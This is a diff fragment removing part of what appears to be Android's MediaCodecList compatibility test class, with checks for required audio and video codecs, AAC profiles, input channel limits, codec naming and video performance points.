-                    mime, 176 /* width */, 144 /* height */));
-        }
-    }
-
-    public static boolean hasExpandedCodecInfo() {
-        return PropertyUtil.isVendorApiLevelNewerThan(29);
-    }
-
-    public static void testMediaCodecXmlFileExist() {
-        File file = new File(MEDIA_CODEC_XML_FILE);
-        File vendorFile = new File(VENDOR_MEDIA_CODEC_XML_FILE);
-        File odmFile = new File(ODM_MEDIA_CODEC_XML_FILE);
-        assertTrue("media_codecs.xml does not exist in /odm/etc, /vendor/etc or /etc.",
-                file.exists() || vendorFile.exists() || odmFile.exists());
-    }
-
-    private MediaCodecInfo[] getLegacyInfos() {
-        Log.d(TAG, "getLegacyInfos");
-
-        int codecCount = MediaCodecList.getCodecCount();
-        MediaCodecInfo[] res = new MediaCodecInfo[codecCount];
-
-        for (int i = 0; i < codecCount; ++i) {
-            res[i] = MediaCodecList.getCodecInfoAt(i);
-        }
-        return res;
-    }
-
-    public void assertEqualsOrSuperset(Set big, Set tiny, boolean superset) {
-        if (!superset) {
-            assertEquals(big, tiny);
-        } else {
-            assertTrue(big.containsAll(tiny));
-        }
-    }
-
-    private static <T> Set<T> asSet(T[] array) {
-        Set<T> s = new HashSet<T>();
-        for (T el : array) {
-            s.add(el);
-        }
-        return s;
-    }
-
-    private static Set<Integer> asSet(int[] array) {
-        Set<Integer> s = new HashSet<Integer>();
-        for (int el : array) {
-            s.add(el);
-        }
-        return s;
-    }
-
-    public void assertEqualsOrSuperset(
-            CodecCapabilities big, CodecCapabilities tiny, boolean superset) {
-        // ordering of enumerations may differ
-        assertEqualsOrSuperset(asSet(big.colorFormats), asSet(tiny.colorFormats), superset);
-        assertEqualsOrSuperset(asSet(big.profileLevels), asSet(tiny.profileLevels), superset);
-        AudioCapabilities bigAudCaps = big.getAudioCapabilities();
-        VideoCapabilities bigVidCaps = big.getVideoCapabilities();
-        EncoderCapabilities bigEncCaps = big.getEncoderCapabilities();
-        AudioCapabilities tinyAudCaps = tiny.getAudioCapabilities();
-        VideoCapabilities tinyVidCaps = tiny.getVideoCapabilities();
-        EncoderCapabilities tinyEncCaps = tiny.getEncoderCapabilities();
-        assertEquals(bigAudCaps != null, tinyAudCaps != null);
-        assertEquals(bigAudCaps != null, tinyAudCaps != null);
-        assertEquals(bigAudCaps != null, tinyAudCaps != null);
-    }
-
-    public void assertEqualsOrSuperset(
-            MediaCodecInfo big, MediaCodecInfo tiny, boolean superset) {
-        assertEquals(big.getName(), tiny.getName());
-        assertEquals(big.isEncoder(), tiny.isEncoder());
-        assertEqualsOrSuperset(
-                asSet(big.getSupportedTypes()), asSet(tiny.getSupportedTypes()), superset);
-        for (String type : big.getSupportedTypes()) {
-            assertEqualsOrSuperset(
-                    big.getCapabilitiesForType(type),
-                    tiny.getCapabilitiesForType(type),
-                    superset);
-        }
-    }
-
-    public void assertSuperset(MediaCodecInfo big, MediaCodecInfo tiny) {
-        assertEqualsOrSuperset(big, tiny, true /* superset */);
-    }
-
-    public void assertEquals(MediaCodecInfo big, MediaCodecInfo tiny) {
-        assertEqualsOrSuperset(big, tiny, false /* superset */);
-    }
-
-    // Each component advertised by MediaCodecList should at least be
-    // instantiable.
-    private void testComponentInstantiation(MediaCodecInfo[] infos) throws IOException {
-        for (MediaCodecInfo info : infos) {
-            Log.d(TAG, "codec: " + info.getName());
-            Log.d(TAG, "  isEncoder = " + info.isEncoder());
-
-            MediaCodec codec = MediaCodec.createByCodecName(info.getName());
-
-            assertEquals(codec.getName(), info.getName());
-            assertEquals(codec.getCanonicalName(), info.getCanonicalName());
-            assertEquals(codec.getCodecInfo(), info);
-
-            codec.release();
-            codec = null;
-        }
-    }
-
-    public void testRegularComponentInstantiation() throws IOException {
-        Log.d(TAG, "testRegularComponentInstantiation");
-        testComponentInstantiation(mRegularInfos);
-    }
-
-    public void testAllComponentInstantiation() throws IOException {
-        Log.d(TAG, "testAllComponentInstantiation");
-        testComponentInstantiation(mAllInfos);
-    }
-
-    public void testLegacyComponentInstantiation() throws IOException {
-        Log.d(TAG, "testLegacyComponentInstantiation");
-        testComponentInstantiation(getLegacyInfos());
-    }
-
-    // For each type advertised by any of the components we should be able
-    // to get capabilities.
-    private void testGetCapabilities(MediaCodecInfo[] infos) {
-        for (MediaCodecInfo info : infos) {
-            Log.d(TAG, "codec: " + info.getName());
-            Log.d(TAG, "  isEncoder = " + info.isEncoder());
-
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; ++j) {
-                Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
-                CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
-            }
-        }
-    }
-
-    public void testGetRegularCapabilities() {
-        Log.d(TAG, "testGetRegularCapabilities");
-        testGetCapabilities(mRegularInfos);
-    }
-
-    public void testGetAllCapabilities() {
-        Log.d(TAG, "testGetAllCapabilities");
-        testGetCapabilities(mAllInfos);
-    }
-
-    public void testGetLegacyCapabilities() {
-        Log.d(TAG, "testGetLegacyCapabilities");
-        testGetCapabilities(getLegacyInfos());
-    }
-
-    public void testLegacyMediaCodecListIsSameAsRegular() {
-        // regular codecs should be equivalent to legacy codecs, including
-        // codec ordering
-        MediaCodecInfo[] legacyInfos = getLegacyInfos();
-        assertEquals(legacyInfos.length, mRegularInfos.length);
-        for (int i = 0; i < legacyInfos.length; ++i) {
-            assertEquals(legacyInfos[i], mRegularInfos[i]);
-        }
-    }
-
-    public void testRegularMediaCodecListIsASubsetOfAll() {
-        Log.d(TAG, "testRegularMediaCodecListIsASubsetOfAll");
-        // regular codecs should be a subsequence of all codecs, including
-        // codec ordering
-        int ix = 0;
-        for (MediaCodecInfo info : mAllInfos) {
-            if (ix == mRegularInfos.length) {
-                break;
-            }
-            if (!mRegularInfos[ix].getName().equals(info.getName())) {
-                Log.d(TAG, "skipping non-regular codec " + info.getName());
-                continue;
-            }
-            Log.d(TAG, "checking codec " + info.getName());
-            assertSuperset(info, mRegularInfos[ix]);
-            ++ix;
-        }
-        assertEquals(
-                "some regular codecs are not listed in all codecs", ix, mRegularInfos.length);
-    }
-
-    public void testRequiredMediaCodecList() {
-        List<CodecType> requiredList = getRequiredCodecTypes();
-        List<CodecType> supportedList = getSupportedCodecTypes();
-        assertTrue(areRequiredCodecTypesSupported(requiredList, supportedList));
-        for (CodecType type : requiredList) {
-            assertTrue("cannot find " + type, type.canBeFound());
-        }
-    }
-
-    private boolean hasCamera() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_CAMERA_FRONT) ||
-                pm.hasSystemFeature(pm.FEATURE_CAMERA);
-    }
-
-    private boolean hasMicrophone() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_MICROPHONE);
-    }
-
-    private boolean isWatch() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_WATCH);
-    }
-
-    private boolean isHandheld() {
-        // handheld nature is not exposed to package manager, for now
-        // we check for touchscreen and NOT watch and NOT tv
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
-                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
-                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
-                && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
-    }
-
-    private boolean isAutomotive() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
-    }
-
-    private boolean isPC() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_PC);
-    }
-
-    // Find whether the given codec can be found using MediaCodecList.find methods.
-    private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
-        String codecName = isEncoder
-                ? mRegularCodecs.findEncoderForFormat(format)
-                : mRegularCodecs.findDecoderForFormat(format);
-        return codecName != null;
-    }
-
-    /*
-     * Find whether all required media codec types are supported
-     */
-    private boolean areRequiredCodecTypesSupported(
-        List<CodecType> requiredList, List<CodecType> supportedList) {
-        for (CodecType requiredCodec: requiredList) {
-            boolean isSupported = false;
-            for (CodecType supportedCodec: supportedList) {
-                if (requiredCodec.equals(supportedCodec)) {
-                    isSupported = true;
-                }
-            }
-            if (!isSupported) {
-                String codec = requiredCodec.mMimeTypeName
-                                + ", " + (requiredCodec.mIsEncoder? "encoder": "decoder");
-                Log.e(TAG, "Media codec (" + codec + ") is not supported");
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /*
-     * Find all the media codec types are supported.
-     */
-    private List<CodecType> getSupportedCodecTypes() {
-        List<CodecType> supportedList = new ArrayList<CodecType>();
-        for (MediaCodecInfo info : mRegularInfos) {
-            String[] types = info.getSupportedTypes();
-            assertTrue("Unexpected number of supported types", types.length > 0);
-            boolean isEncoder = info.isEncoder();
-            for (int j = 0; j < types.length; ++j) {
-                supportedList.add(new CodecType(types[j], isEncoder, null /* sampleFormat */));
-            }
-        }
-        return supportedList;
-    }
-
-    /*
-     * This list should be kept in sync with the CCD document
-     * See http://developer.android.com/guide/appendix/media-formats.html
-     */
-    private List<CodecType> getRequiredCodecTypes() {
-        List<CodecType> list = new ArrayList<CodecType>(16);
-
-        // Mandatory audio decoders
-
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_FLAC, false, 48000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_MPEG, false, 8000));  // mp3
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_MPEG, false, 48000)); // mp3
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_VORBIS, false, 8000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_VORBIS, false, 48000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, false, 8000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, false, 48000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_RAW, false, 8000));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_RAW, false, 44100));
-        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_OPUS, false, 48000));
-
-        // Mandatory audio encoders (for non-watch devices with camera)
-
-        if (hasMicrophone() && !isWatch()) {
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, true, 8000));
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, true, 48000));
-            // flac encoder is not required
-            // list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_FLAC, true));  // encoder
-        }
-
-        // Mandatory audio encoders for handheld devices
-        if (isHandheld()) {
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_NB, false, 8000));  // decoder
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_NB, true,  8000));  // encoder
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_WB, false, 16000)); // decoder
-            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_WB, true,  16000)); // encoder
-        }
-
-        // Mandatory video codecs (for non-watch devices)
-
-        if (!isWatch()) {
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_AVC, false));   // avc decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_AVC, true));    // avc encoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
-
-            // According to CDD, hevc decoding is not mandatory for automotive and PC devices.
-            if (!isAutomotive() && !isPC()) {
-                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
-            }
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
-            if (hasCamera()) {
-                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, true)); // h263 encoder
-            }
-        }
-
-        return list;
-    }
-
-    public void testFindDecoderWithAacProfile() throws Exception {
-        Log.d(TAG, "testFindDecoderWithAacProfile");
-        MediaFormat format = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_AAC, 8000, 1);
-        List<Integer> profiles = new ArrayList<>();
-        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectLC);
-        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE);
-        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE_PS);
-        // The API is added at 5.0, so the profile below must be supported.
-        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectELD);
-        for (int profile : profiles) {
-            format.setInteger(MediaFormat.KEY_AAC_PROFILE, profile);
-            String codecName = mRegularCodecs.findDecoderForFormat(format);
-            assertNotNull("Profile " + profile + " must be supported.", codecName);
-        }
-    }
-
-    public void testFindEncoderWithAacProfile() throws Exception {
-        Log.d(TAG, "testFindEncoderWithAacProfile");
-        MediaFormat format = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_AAC, 8000, 1);
-        List<Integer> profiles = new ArrayList<>();
-        if (hasMicrophone() && !isWatch()) {
-            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectLC);
-            // The API is added at 5.0, so the profiles below must be supported.
-            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE);
-            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectELD);
-        }
-        for (int profile : profiles) {
-            format.setInteger(MediaFormat.KEY_AAC_PROFILE, profile);
-            String codecName = mRegularCodecs.findEncoderForFormat(format);
-            assertNotNull("Profile " + profile + " must be supported.", codecName);
-        }
-    }
-
-    public void testAudioCodecChannels() {
-        for (MediaCodecInfo info : mAllInfos) {
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; ++j) {
-                CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
-                AudioCapabilities audioCap = cap.getAudioCapabilities();
-                if (audioCap == null) {
-                    assertFalse("no audio capabilities for audio media type " + types[j] + " of "
-                                    + info.getName(),
-                                types[j].toLowerCase().startsWith("audio/"));
-                    continue;
-                }
-                int n = audioCap.getMaxInputChannelCount();
-                Log.d(TAG, info.getName() + ": " + n);
-                assertTrue(info.getName() + " max input channel not positive: " + n, n > 0);
-            }
-        }
-    }
-
-    public void testInputChannelLimits() throws IOException {
-        if (!MediaUtils.check(sIsAtLeastS, "testInputChannelLimits invalid before Android 12")) {
-            return;
-        }
-        for (MediaCodecInfo info : mAllInfos) {
-            boolean isEncoder = info.isEncoder();
-            if (!isEncoder) {
-                continue;
-            }
-            for (String mime: info.getSupportedTypes()) {
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                // it advertised this mime, it should have appropriate capabilities
-                assertNotNull("codec=" + info.getName()
-                              + " no capabilities for advertised mime=" + mime, caps);
-                AudioCapabilities acaps = caps.getAudioCapabilities();
-                boolean isAudio = (acaps != null);
-
-                if (!isAudio) {
-                    continue;
-                }
-
-                int countMin = acaps.getMinInputChannelCount();
-                int countMax = acaps.getMaxInputChannelCount();
-                Range<Integer>[] countRanges = acaps.getInputChannelCountRanges();
-
-                assertNotNull("getInputChannelCountRanges() null, codec=" + info.getName(),
-                                countRanges);
-                assertTrue("getInputChannelCountRanges() empty range codec=" + info.getName(),
-                                countRanges.length > 0);
-
-                assertEquals("first range lower != min mismatch codec=" + info.getName(),
-                                countMin, countRanges[0].getLower().intValue());
-                assertEquals("last range upper != max mismatch codec=" + info.getName(),
-                                countMax, countRanges[countRanges.length-1].getUpper().intValue());
-
-                int foundLow = Integer.MAX_VALUE;
-                int foundHigh = Integer.MIN_VALUE;
-                for (Range<Integer> oneRange: countRanges) {
-                    int upper = oneRange.getUpper().intValue();
-                    if (foundHigh < upper) {
-                        foundHigh = upper;
-                    }
-                    int lower = oneRange.getLower().intValue();
-                    if (foundLow > lower) {
-                        foundLow = lower;
-                    }
-                    assertTrue(lower <= upper);
-                }
-                assertEquals("minimum count mismatch codec=" + info.getName(),
-                                countMin, foundLow);
-                assertEquals("maximum count mismatch codec=" + info.getName(),
-                                countMax, foundHigh);
-            }
-        }
-    }
-
-
-
-    private void testCanonicalCodecIsNotAnAlias(String canonicalName) {
-        // canonical name must point to a non-alias
-        for (MediaCodecInfo canonical : mAllInfos) {
-            if (canonical.getName().equals(canonicalName)) {
-                assertFalse(canonical.isAlias());
-                return;
-            }
-        }
-        fail("could not find info to canonical name '" + canonicalName + "'");
-    }
-
-    private String getCustomPartOfComponentName(MediaCodecInfo info) {
-        String name = info.getName();
-        if (name.startsWith("OMX.") || name.startsWith("c2.")) {
-            // strip off OMX.<vendor_name>.
-            return name.replaceFirst("^OMX\\.([^.]+)\\.", "");
-        }
-        return name;
-    }
-
-    private void testKindInCodecNamesIsMeaningful(MediaCodecInfo info) {
-        String name = getCustomPartOfComponentName(info);
-        // codec names containing 'encoder' or 'enc' must be encoders, 'decoder' or 'dec' must
-        // be decoders
-        if (name.matches("(?i)\\b(encoder|enc)\\b")) {
-            assertTrue(info.isEncoder());
-        }
-        if (name.matches("(?i)\\b(decoder|dec)\\b")) {
-            assertFalse(info.isEncoder());
-        }
-    }
-
-    private void testMediaTypeInCodecNamesIsMeaningful(MediaCodecInfo info) {
-        // Codec names containing media type names must support that media type
-        String name = getCustomPartOfComponentName(info);
-
-        Set<String> supportedTypes = new HashSet<String>(Arrays.asList(info.getSupportedTypes()));
-
-        // video types
-        if (name.matches("(?i)\\b(mp(eg)?2)\\b")) {
-            // this may refer to audio mpeg1-layer2 or video mpeg2
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_MPEG2)
-                        || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_MPEG + "-L2"));
-        }
-        if (name.matches("(?i)\\b(h\\.?263)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_H263));
-        }
-        if (name.matches("(?i)\\b(mp(eg)?4)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_MPEG4));
-        }
-        if (name.matches("(?i)\\b(h\\.?264|avc)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_AVC));
-        }
-        if (name.matches("(?i)\\b(vp8)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_VP8));
-        }
-        if (name.matches("(?i)\\b(h\\.?265|hevc)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_HEVC));
-        }
-        if (name.matches("(?i)\\b(vp9)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_VP9));
-        }
-        if (name.matches("(?i)\\b(av0?1)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_AV1));
-        }
-
-        // audio types
-        if (name.matches("(?i)\\b(mp(eg)?3)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_MPEG));
-        }
-        if (name.matches("(?i)\\b(x?aac)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AAC));
-        }
-        if (name.matches("(?i)\\b(pcm)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_RAW));
-        }
-        if (name.matches("(?i)\\b(raw)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_RAW)
-                        || supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_RAW));
-        }
-        if (name.matches("(?i)\\b(amr)\\b")) {
-            if (name.matches("(?i)\\b(nb)\\b")) {
-                assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_NB));
-            } else if (name.matches("(?i)\\b(wb)\\b")) {
-                assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_WB));
-            } else {
-                assertTrue(
-                    supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
-                            || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_WB));
-            }
-        }
-        if (name.matches("(?i)\\b(opus)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_OPUS));
-        }
-        if (name.matches("(?i)\\b(vorbis)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_VORBIS));
-        }
-        if (name.matches("(?i)\\b(flac)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_FLAC));
-        }
-        if (name.matches("(?i)\\b(ac3)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AC3));
-        }
-        if (name.matches("(?i)\\b(ac4)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AC4));
-        }
-        if (name.matches("(?i)\\b(eac3)\\b")) {
-            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_EAC3)
-                        || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_EAC3_JOC));
-        }
-    }
-
-    public void testCodecCharacterizations() {
-        for (MediaCodecInfo info : mAllInfos) {
-            Log.d(TAG, "codec: " + info.getName() + " canonical: " + info.getCanonicalName());
-
-            // AOSP codecs must not be marked as vendor or hardware accelerated
-            if (info.getName().startsWith("OMX.google.")) {
-                assertFalse(info.isVendor());
-                assertFalse(info.isHardwareAccelerated());
-            }
-
-            // Codec 2.0 based AOSP codecs must run in a software-only process
-            if (info.getName().startsWith("c2.android.")) {
-                assertTrue(info.isSoftwareOnly());
-                assertFalse(info.isVendor());
-                assertFalse(info.isHardwareAccelerated());
-            }
-
-            // validate aliases
-            if (info.isAlias()) {
-                assertFalse(info.getName().equals(info.getCanonicalName()));
-                testCanonicalCodecIsNotAnAlias(info.getCanonicalName());
-            } else {
-                // validate codec names: (Canonical) codec names must be meaningful.
-                // We only test this on canonical infos as we allow aliases to support
-                // existing codec names that do not fit this.
-                assertEquals(info.getName(), info.getCanonicalName());
-                testKindInCodecNamesIsMeaningful(info);
-                testMediaTypeInCodecNamesIsMeaningful(info);
-            }
-
-            // hardware accelerated codecs cannot be software only
-            assertFalse(info.isHardwareAccelerated() && info.isSoftwareOnly());
-        }
-    }
-
-    public void testVideoPerformancePointsSanity() {
-        MediaFormat hd25Format =
-            MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720);
-        hd25Format.setFloat(MediaFormat.KEY_FRAME_RATE, 25.f);
-
-        MediaFormat portraitHd240Format =
-            MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 720, 1280);
-        portraitHd240Format.setInteger(MediaFormat.KEY_FRAME_RATE, 240);
-
-        /* common-sense checks */
-        assertTrue(VideoCapabilities.PerformancePoint.HD_30.covers(hd25Format));
-        assertTrue(VideoCapabilities.PerformancePoint.HD_25.covers(hd25Format));
-        assertFalse(VideoCapabilities.PerformancePoint.HD_24.covers(hd25Format));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(hd25Format));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_25.covers(hd25Format));
-        assertFalse(VideoCapabilities.PerformancePoint.FHD_24.covers(hd25Format));
-
-        assertTrue(VideoCapabilities.PerformancePoint.HD_240.covers(portraitHd240Format));
-        assertFalse(VideoCapabilities.PerformancePoint.HD_200.covers(portraitHd240Format));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_240.covers(portraitHd240Format));
-        assertFalse(VideoCapabilities.PerformancePoint.FHD_200.covers(portraitHd240Format));
-
-        /* test macroblock size and conversion support */
-        VideoCapabilities.PerformancePoint bigBlockFHD30_120 =
-            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(128, 64));
-        assertEquals(120, bigBlockFHD30_120.getMaxFrameRate());
-        assertEquals(8160, bigBlockFHD30_120.getMaxMacroBlocks());
-        assertEquals(244800, bigBlockFHD30_120.getMaxMacroBlockRate());
-
-        VideoCapabilities.PerformancePoint bigRotBlockFHD30_120 =
-            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(64, 128));
-        assertEquals(120, bigRotBlockFHD30_120.getMaxFrameRate());
-        assertEquals(8640, bigRotBlockFHD30_120.getMaxMacroBlocks());
-        assertEquals(259200, bigRotBlockFHD30_120.getMaxMacroBlockRate());
-
-        /* test conversion logic */
-        {
-            /* 900*900@25-50 */
-            VideoCapabilities.PerformancePoint unusual =
-                new VideoCapabilities.PerformancePoint(900, 900, 25, 50, new Size(1, 1));
-            assertEquals(50, unusual.getMaxFrameRate());
-            assertEquals(3249, unusual.getMaxMacroBlocks());
-            assertEquals(81225, unusual.getMaxMacroBlockRate());
-
-            /* becomes 960*1024@25-50 */
-            VideoCapabilities.PerformancePoint converted1 =
-                new VideoCapabilities.PerformancePoint(unusual, new Size(128, 64));
-            assertEquals(50, converted1.getMaxFrameRate());
-            assertEquals(3840, converted1.getMaxMacroBlocks());
-            assertEquals(96000, converted1.getMaxMacroBlockRate());
-
-            /* becomes 1024*960@25-50 */
-            VideoCapabilities.PerformancePoint converted2 =
-                new VideoCapabilities.PerformancePoint(unusual, new Size(64, 128));
-            assertEquals(50, converted2.getMaxFrameRate());
-            assertEquals(3840, converted2.getMaxMacroBlocks());
-            assertEquals(96000, converted2.getMaxMacroBlockRate());
-
-            /* becomes 1024*1024@25-50 */
-            VideoCapabilities.PerformancePoint converted3 =
-                new VideoCapabilities.PerformancePoint(converted1, new Size(64, 128));
-            assertEquals(50, converted3.getMaxFrameRate());
-            assertEquals(4096, converted3.getMaxMacroBlocks());
-            assertEquals(102400, converted3.getMaxMacroBlockRate());
-
-            assertEquals(converted1, converted2);
-            assertEquals(converted2, converted1);
-            assertEquals(converted1, converted3);
-            assertEquals(converted3, converted1);
-            assertTrue(converted1.covers(converted2));
-            assertTrue(converted2.covers(converted1));
-            assertTrue(converted2.covers(converted3));
-            assertTrue(converted3.covers(converted2));
-        }
-
-        // big macroblock size does not impact standard performance points as the dimensions are set
-        VideoCapabilities.PerformancePoint bigBlockFHD30 =
-            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 30, new Size(128, 64));
-
-        assertTrue(bigBlockFHD30.covers(VideoCapabilities.PerformancePoint.FHD_30));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(bigBlockFHD30));
-        assertTrue(bigBlockFHD30.equals(VideoCapabilities.PerformancePoint.FHD_30));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.equals(bigBlockFHD30));
-
-        // but it impacts the case where dimensions differ
-        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1080, 1920, 30)));
-        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1936, 1072, 30)));
-        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1280, 720, 63)));
-        assertTrue(bigBlockFHD30_120.covers(new VideoCapabilities.PerformancePoint(1280, 720, 63)));
-        assertFalse(bigBlockFHD30_120.covers(new VideoCapabilities.PerformancePoint(1280, 720, 64)));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(
-                new VideoCapabilities.PerformancePoint(1080, 1920, 30)));
-        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(
-                new VideoCapabilities.PerformancePoint(1936, 1072, 30)));
-        assertTrue(new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(1, 1))
-                   .covers(new VideoCapabilities.PerformancePoint(1280, 720, 68)));
-    }
-
-    private void verifyPerformancePoints(
-            MediaCodecInfo info, String mediaType,
-            List<VideoCapabilities.PerformancePoint> points) {
-        List<VideoCapabilities.PerformancePoint> standardPoints = Arrays.asList(
-                VideoCapabilities.PerformancePoint.UHD_240,
-                VideoCapabilities.PerformancePoint.UHD_200,
-                VideoCapabilities.PerformancePoint.UHD_120,
-                VideoCapabilities.PerformancePoint.UHD_100,
-                VideoCapabilities.PerformancePoint.UHD_60,
-                VideoCapabilities.PerformancePoint.UHD_50,
-                VideoCapabilities.PerformancePoint.UHD_30,
-                VideoCapabilities.PerformancePoint.UHD_25,
-                VideoCapabilities.PerformancePoint.UHD_24,
-                VideoCapabilities.PerformancePoint.FHD_240,
-                VideoCapabilities.PerformancePoint.FHD_200,
-                VideoCapabilities.PerformancePoint.FHD_120,
-                VideoCapabilities.PerformancePoint.FHD_100,
-                VideoCapabilities.PerformancePoint.FHD_60,
-                VideoCapabilities.PerformancePoint.FHD_50,
-                VideoCapabilities.PerformancePoint.FHD_30,
-                VideoCapabilities.PerformancePoint.FHD_25,
-                VideoCapabilities.PerformancePoint.FHD_24,
-                VideoCapabilities.PerformancePoint.HD_240,
-                VideoCapabilities.PerformancePoint.HD_200,
-                VideoCapabilities.PerformancePoint.HD_120,
-                VideoCapabilities.PerformancePoint.HD_100,
-                VideoCapabilities.PerformancePoint.HD_60,
-                VideoCapabilities.PerformancePoint.HD_50,
-                VideoCapabilities.PerformancePoint.HD_30,
-                VideoCapabilities.PerformancePoint.HD_25,
-                VideoCapabilities.PerformancePoint.HD_24,
-                VideoCapabilities.PerformancePoint.SD_60,
-                VideoCapabilities.PerformancePoint.SD_50,
-                VideoCapabilities.PerformancePoint.SD_48,
-                VideoCapabilities.PerformancePoint.SD_30,
-                VideoCapabilities.PerformancePoint.SD_25,
-                VideoCapabilities.PerformancePoint.SD_24);
-
